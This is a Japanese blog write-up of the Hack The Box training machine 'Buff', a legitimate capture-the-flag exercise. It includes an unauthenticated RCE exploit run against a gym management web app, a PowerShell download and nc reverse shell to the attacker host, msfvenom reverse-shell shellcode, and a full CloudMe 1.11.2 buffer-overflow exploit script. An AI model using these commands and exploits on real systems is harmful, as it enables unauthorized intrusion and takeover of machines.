【Hack the Box write-up】Buff

November 24, 2020

筆者は Hack the Box 初心者です。 何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。 さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。 github | sanposhiho/MYCHEATSHEET

machineについて

難易度は easy です。

nmap

[email protected]:~$ nmap -p- --min-rate 10000 10.10.10.198 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-24 01:42 EST
Nmap scan report for 10.10.10.198
Host is up (0.24s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
7680/tcp open  pando-pub
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 52.85 seconds

8080ポート

contactページ

    mrb3n's Bro Hut
    Made using Gym Management Software 1.0 

ソフトウェアとversionっぽいですね

exploit探す

↓良さげのが見つかりました

Gym Management System 1.0 - Unauthenticated Remote Code Execution

[email protected]:~$ python gym.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun

サクッとshellがとれちゃいました、これでuser.txtが取れます

webshellをncでちゃんとしたshellにします

kaliからnc.exeをuploadします

↓Kali

[email protected]:/usr/share/windows-resources/binaries$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

↓target

C:\xampp\htdocs\gym\upload> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.14.3:8000/nc.exe','nc.exe')"
�PNG
▒

C:\xampp\htdocs\gym\upload> .\nc.exe -e cmd.exe 10.10.14.3 4242

↓kaliで待ち受けておいたncに繋がりました

[email protected]:~$ nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.198] 49699
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>

PE

C:\xampp\htdocs\gym\upload>netstat -ano               
netstat -ano 

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5776
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       8464
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       6744
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1096
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1628
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2220
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       692
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.198:8080      10.10.14.3:60184       ESTABLISHED     6744
  TCP    10.10.10.198:49678     10.10.14.3:4242        ESTABLISHED     6868
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       4196
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       6816
  TCP    [::]:135               [::]:0                 LISTENING       948
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       8464
  TCP    [::]:8080              [::]:0                 LISTENING       6744
  TCP    [::]:49664             [::]:0                 LISTENING       524
  TCP    [::]:49665             [::]:0                 LISTENING       1096
  TCP    [::]:49666             [::]:0                 LISTENING       1628
  TCP    [::]:49667             [::]:0                 LISTENING       2220
  TCP    [::]:49668             [::]:0                 LISTENING       672
  TCP    [::]:49669             [::]:0                 LISTENING       692
  UDP    0.0.0.0:5050           *:*                                    5776
  UDP    0.0.0.0:5353           *:*                                    2036
  UDP    0.0.0.0:5355           *:*                                    2036
  UDP    0.0.0.0:63697          *:*                                    2036
  UDP    10.10.10.198:137       *:*                                    4
  UDP    10.10.10.198:138       *:*                                    4
  UDP    10.10.10.198:1900      *:*                                    6112
  UDP    10.10.10.198:60066     *:*                                    6112
  UDP    127.0.0.1:1900         *:*                                    6112
  UDP    127.0.0.1:59888        *:*                                    3056
  UDP    127.0.0.1:60067        *:*                                    6112
  UDP    [::]:5353              *:*                                    2036
  UDP    [::]:5355              *:*                                    2036
  UDP    [::]:63697             *:*                                    2036
  UDP    [::1]:1900             *:*                                    6112
  UDP    [::1]:60065            *:*                                    6112
  UDP    [fe80::d1b0:13b5:fe5e:789b%10]:1900  *:*                                    6112
  UDP    [fe80::d1b0:13b5:fe5e:789b%10]:60064  *:*                                    6112
C:\xampp\htdocs\gym\upload>netstat -ano
netstat -ano

Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       948
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       5776
  TCP    0.0.0.0:7680           0.0.0.0:0              LISTENING       8464
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       6744
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       524
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1096
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1628
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2220
  TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       672
  TCP    0.0.0.0:49669          0.0.0.0:0              LISTENING       692
  TCP    10.10.10.198:139       0.0.0.0:0              LISTENING       4
  TCP    10.10.10.198:8080      10.10.14.3:60184       ESTABLISHED     6744
  TCP    10.10.10.198:49678     10.10.14.3:4242        ESTABLISHED     6868
  TCP    127.0.0.1:3306         0.0.0.0:0              LISTENING       4196
  TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING       5220
  TCP    [::]:135               [::]:0                 LISTENING       948
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:7680              [::]:0                 LISTENING       8464
  TCP    [::]:8080              [::]:0                 LISTENING       6744
  TCP    [::]:49664             [::]:0                 LISTENING       524
  TCP    [::]:49665             [::]:0                 LISTENING       1096
  TCP    [::]:49666             [::]:0                 LISTENING       1628
  TCP    [::]:49667             [::]:0                 LISTENING       2220
  TCP    [::]:49668             [::]:0                 LISTENING       672
  TCP    [::]:49669             [::]:0                 LISTENING       692
  UDP    0.0.0.0:5050           *:*                                    5776
  UDP    0.0.0.0:5353           *:*                                    2036
  UDP    0.0.0.0:5355           *:*                                    2036
  UDP    0.0.0.0:50985          *:*                                    2036
  UDP    0.0.0.0:52770          *:*                                    2036
  UDP    0.0.0.0:54090          *:*                                    2036
  UDP    0.0.0.0:65022          *:*                                    2036
  UDP    10.10.10.198:137       *:*                                    4
  UDP    10.10.10.198:138       *:*                                    4
  UDP    10.10.10.198:1900      *:*                                    6112
  UDP    10.10.10.198:60066     *:*                                    6112
  UDP    127.0.0.1:1900         *:*                                    6112
  UDP    127.0.0.1:59888        *:*                                    3056
  UDP    127.0.0.1:60067        *:*                                    6112
  UDP    [::]:5353              *:*                                    2036
  UDP    [::]:5355              *:*                                    2036
  UDP    [::]:50985             *:*                                    2036
  UDP    [::]:52770             *:*                                    2036
  UDP    [::]:54090             *:*                                    2036
  UDP    [::]:65022             *:*                                    2036
  UDP    [::1]:1900             *:*                                    6112
  UDP    [::1]:60065            *:*                                    6112
  UDP    [fe80::d1b0:13b5:fe5e:789b%10]:1900  *:*                                    6112
  UDP    [fe80::d1b0:13b5:fe5e:789b%10]:60064  *:*                                    6112

C:\xampp\htdocs\gym\upload>tasklist /v

tasklist /v

Image Name                     PID Session Name        Session#    Mem Usage Status          User Name                                              CPU Time Window Title                                                            
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
CloudMe.exe                   5220                            0     38,580 K Unknown         N/A                                                     0:00:00 N/A                                                                     
(必要なやつ以外略)

8888番ポートでCloudMeというプロセスが動作してることがわかります

いろいろ探していくと

C:\Users\shaun\Downloads>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  12:27    <DIR>          .
14/07/2020  12:27    <DIR>          ..
16/06/2020  15:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   9,816,489,984 bytes free

いや苦労してnetstatから見つけなくてもDownloads以下におる〜

多分だけどversionは1.11.2ですよね、ファイル名的に

なのでこれを試します

CloudMe 1.11.2 - Buffer Overflow (PoC)

[email protected]:~$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=1234 -b '\x00\x0A\x0D' -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xbd\x27\xdd\x84\xc4\xdb\xc2\xd9\x74\x24\xf4\x5b\x31"
buf += b"\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12\x83\xcc\x21\x66"
buf += b"\x31\xee\x32\xe5\xba\x0e\xc3\x8a\x33\xeb\xf2\x8a\x20"
buf += b"\x78\xa4\x3a\x22\x2c\x49\xb0\x66\xc4\xda\xb4\xae\xeb"
buf += b"\x6b\x72\x89\xc2\x6c\x2f\xe9\x45\xef\x32\x3e\xa5\xce"
buf += b"\xfc\x33\xa4\x17\xe0\xbe\xf4\xc0\x6e\x6c\xe8\x65\x3a"
buf += b"\xad\x83\x36\xaa\xb5\x70\x8e\xcd\x94\x27\x84\x97\x36"
buf += b"\xc6\x49\xac\x7e\xd0\x8e\x89\xc9\x6b\x64\x65\xc8\xbd"
buf += b"\xb4\x86\x67\x80\x78\x75\x79\xc5\xbf\x66\x0c\x3f\xbc"
buf += b"\x1b\x17\x84\xbe\xc7\x92\x1e\x18\x83\x05\xfa\x98\x40"
buf += b"\xd3\x89\x97\x2d\x97\xd5\xbb\xb0\x74\x6e\xc7\x39\x7b"
buf += b"\xa0\x41\x79\x58\x64\x09\xd9\xc1\x3d\xf7\x8c\xfe\x5d"
buf += b"\x58\x70\x5b\x16\x75\x65\xd6\x75\x12\x4a\xdb\x85\xe2"
buf += b"\xc4\x6c\xf6\xd0\x4b\xc7\x90\x58\x03\xc1\x67\x9e\x3e"
buf += b"\xb5\xf7\x61\xc1\xc6\xde\xa5\x95\x96\x48\x0f\x96\x7c"                                                                                                                 
buf += b"\x88\xb0\x43\xd2\xd8\x1e\x3c\x93\x88\xde\xec\x7b\xc2"                                                                                                                 
buf += b"\xd0\xd3\x9c\xed\x3a\x7c\x36\x14\xad\x89\xcd\x18\x2e"                                                                                                                 
buf += b"\xe6\xd3\x24\x34\x24\x5a\xc2\x5e\xd8\x0b\x5d\xf7\x41"                                                                                                                 
buf += b"\x16\x15\x66\x8d\x8c\x50\xa8\x05\x23\xa5\x67\xee\x4e"                                                                                                                 
buf += b"\xb5\x10\x1e\x05\xe7\xb7\x21\xb3\x8f\x54\xb3\x58\x4f"                                                                                                                 
buf += b"\x12\xa8\xf6\x18\x73\x1e\x0f\xcc\x69\x39\xb9\xf2\x73"                                                                                                                 
buf += b"\xdf\x82\xb6\xaf\x1c\x0c\x37\x3d\x18\x2a\x27\xfb\xa1"
buf += b"\x76\x13\x53\xf4\x20\xcd\x15\xae\x82\xa7\xcf\x1d\x4d"
buf += b"\x2f\x89\x6d\x4e\x29\x96\xbb\x38\xd5\x27\x12\x7d\xea"
buf += b"\x88\xf2\x89\x93\xf4\x62\x75\x4e\xbd\x93\x3c\xd2\x94"
buf += b"\x3b\x99\x87\xa4\x21\x1a\x72\xea\x5f\x99\x76\x93\x9b"
buf += b"\x81\xf3\x96\xe0\x05\xe8\xea\x79\xe0\x0e\x58\x79\x21"

payloadをこれで置き換えます

# Exploit Title: CloudMe 1.11.2 - Buffer Overflow (PoC)
# Date: 2020-04-27
# Exploit Author: Andy Bowden
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Version: CloudMe 1.11.2
# Tested on: Windows 10 x86
                                                                                                                                                                               
#Instructions:                                                                                                                                                                 
# Start the CloudMe service and run the script.                                                                                                                                
                                                                                                                                                                               
import socket                                                                                                                                                                  
                                                                                                                                                                               
target = "127.0.0.1"                                                                                                                                                           

padding1   = b"\x90" * 1052
EIP        = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS       = b"\x90" * 30

#msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
payload =  b""
payload += b"\xbd\x27\xdd\x84\xc4\xdb\xc2\xd9\x74\x24\xf4\x5b\x31"
payload += b"\xc9\xb1\x52\x31\x6b\x12\x03\x6b\x12\x83\xcc\x21\x66"
payload += b"\x31\xee\x32\xe5\xba\x0e\xc3\x8a\x33\xeb\xf2\x8a\x20"
payload += b"\x78\xa4\x3a\x22\x2c\x49\xb0\x66\xc4\xda\xb4\xae\xeb"
payload += b"\x6b\x72\x89\xc2\x6c\x2f\xe9\x45\xef\x32\x3e\xa5\xce"
payload += b"\xfc\x33\xa4\x17\xe0\xbe\xf4\xc0\x6e\x6c\xe8\x65\x3a"
payload += b"\xad\x83\x36\xaa\xb5\x70\x8e\xcd\x94\x27\x84\x97\x36"
payload += b"\xc6\x49\xac\x7e\xd0\x8e\x89\xc9\x6b\x64\x65\xc8\xbd"
payload += b"\xb4\x86\x67\x80\x78\x75\x79\xc5\xbf\x66\x0c\x3f\xbc"
payload += b"\x1b\x17\x84\xbe\xc7\x92\x1e\x18\x83\x05\xfa\x98\x40"
payload += b"\xd3\x89\x97\x2d\x97\xd5\xbb\xb0\x74\x6e\xc7\x39\x7b"
payload += b"\xa0\x41\x79\x58\x64\x09\xd9\xc1\x3d\xf7\x8c\xfe\x5d"
payload += b"\x58\x70\x5b\x16\x75\x65\xd6\x75\x12\x4a\xdb\x85\xe2"
payload += b"\xc4\x6c\xf6\xd0\x4b\xc7\x90\x58\x03\xc1\x67\x9e\x3e"
payload += b"\xb5\xf7\x61\xc1\xc6\xde\xa5\x95\x96\x48\x0f\x96\x7c"                                                                                                                 
payload += b"\x88\xb0\x43\xd2\xd8\x1e\x3c\x93\x88\xde\xec\x7b\xc2"                                                                                                                 
payload += b"\xd0\xd3\x9c\xed\x3a\x7c\x36\x14\xad\x89\xcd\x18\x2e"                                                                                                                 
payload += b"\xe6\xd3\x24\x34\x24\x5a\xc2\x5e\xd8\x0b\x5d\xf7\x41"                                                                                                                 
payload += b"\x16\x15\x66\x8d\x8c\x50\xa8\x05\x23\xa5\x67\xee\x4e"                                                                                                                 
payload += b"\xb5\x10\x1e\x05\xe7\xb7\x21\xb3\x8f\x54\xb3\x58\x4f"                                                                                                                 
payload += b"\x12\xa8\xf6\x18\x73\x1e\x0f\xcc\x69\x39\xb9\xf2\x73"                                                                                                                 
payload += b"\xdf\x82\xb6\xaf\x1c\x0c\x37\x3d\x18\x2a\x27\xfb\xa1"
payload += b"\x76\x13\x53\xf4\x20\xcd\x15\xae\x82\xa7\xcf\x1d\x4d"
payload += b"\x2f\x89\x6d\x4e\x29\x96\xbb\x38\xd5\x27\x12\x7d\xea"
payload += b"\x88\xf2\x89\x93\xf4\x62\x75\x4e\xbd\x93\x3c\xd2\x94"
payload += b"\x3b\x99\x87\xa4\x21\x1a\x72\xea\x5f\x99\x76\x93\x9b"
payload += b"\x81\xf3\x96\xe0\x05\xe8\xea\x79\xe0\x0e\x58\x79\x21"

overrun    = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))

buf = padding1 + EIP + NOPS + payload + overrun 

try:
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target,8888))
        s.send(buf)
except Exception as e:
        print(sys.exc_value)

後はこれをtarget machineにuploadしてリバースシェル取って終わり!って思ったのですが、windowsでpythonどうやって実行するんや…ってなったので、ポートフォワーディングしてKali上で実行する事にします

chiselってのを使用します

jpillora/chisel

[email protected]:~$ ./go/bin/chisel server --port 8081 --reverse
2020/11/24 19:32:20 server: Reverse tunnelling enabled
2020/11/24 19:32:20 server: Fingerprint rXKxTcVJgT8ZG5REXez4Ts++TG4A2hwK4yHN4eImp2U=
2020/11/24 19:32:20 server: Listening on http://0.0.0.0:8081
C:\xampp\htdocs\gym\upload>.\main.exe client 10.10.14.3:8081 R:8888:127.0.0.1:8888                           
.\main.exe client 10.10.14.3:8081 R:8888:127.0.0.1:8888
2020/11/25 00:40:32 client: Connecting to ws://10.10.14.3:8081
2020/11/25 00:40:35 client: Connected (Latency 235.8404ms)

これでOKですね 手元でさっきのを実行します

[email protected]:~$ python3 evil.py

これで待ち受けていたncにつながります

[email protected]:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.198] 49715
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator

rootが取れました

終わりに

最近インターン忙しくて全然Hack the Boxできねぇって感じでしたが、楽しかったです

このエントリーをはてなブックマークに追加